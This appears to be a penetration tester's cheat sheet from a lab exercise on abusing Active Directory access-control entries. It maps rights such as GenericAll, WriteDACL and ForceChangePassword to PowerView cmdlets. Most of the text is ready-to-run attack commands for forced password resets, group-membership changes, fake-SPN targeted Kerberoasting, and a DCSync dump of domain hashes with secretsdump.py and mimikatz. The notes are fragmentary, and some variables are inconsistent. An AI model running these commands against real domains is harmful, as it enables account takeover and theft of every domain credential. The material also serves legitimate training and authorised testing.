List of abusable ACEs
ForceChangePassword
abused withSet-DomainUserPassword
Add Members
abused withAdd-DomainGroupMember
GenericAll
abused withSet-DomainUserPassword
orAdd-DomainGroupMember
GenericWrite
abused withSet-DomainObject
WriteOwner
abused withSet-DomainObjectOwner
WriteDACL
abused withAdd-DomainObjectACL
AllExtendedRights
abused withSet-DomainUserPassword
orAdd-DomainGroupMember
Addself
abused withAdd-DomainGroupMember
Identify
Windows (powerview)
Check what objects have ACLs over a specific userACLs are granted to USER1 over USER2
(Get-ACL "AD:$((Get-ADUser <USER2>).distinguishedname)").access | ? {$_.IdentityReference -eq "DOMAIN.LOCAL\USER1"}
(Get-ACL "AD:$((Get-ADUser <USER1>).distinguishedname)").access | ? {$_.ActiveDirectoryRights -match "WriteProperty" -or $_.ActiveDirectoryRights -match "GenericAll"} | Select IdentityReference,ActiveDirectoryRights -Unique | ft -W
Note
that if PowerView has already been imported, the cmdlet shown below will result in an error. Therefore, we may need to run it from a new PowerShell session. Or just look at bloodhound
Manually
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
Exploit
Force-Change-Password
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
Add-DomainGroupMember
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
GenericAll
Targeted kerberoast
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
DS-Replication-Get-Changes-All
From linux
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/[email protected]
.\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
Remove SPN
Removing the Fake SPN from adunn's Account
Removing damundsen from the Help Desk Level 1 GroupRemove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose
GenericWrite on User
Targeted Kerberoasting
Set SPN (if you're running a process as the user with GenericWrite)
If your're running as different user
Import-Module .\Powerview.ps1 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)
Set-DomainObject -Credential $Cred -Identity maria -SET @{serviceprincipalname='foobar/xd'}
Change users logon scripts
Global writeable location
check if it worked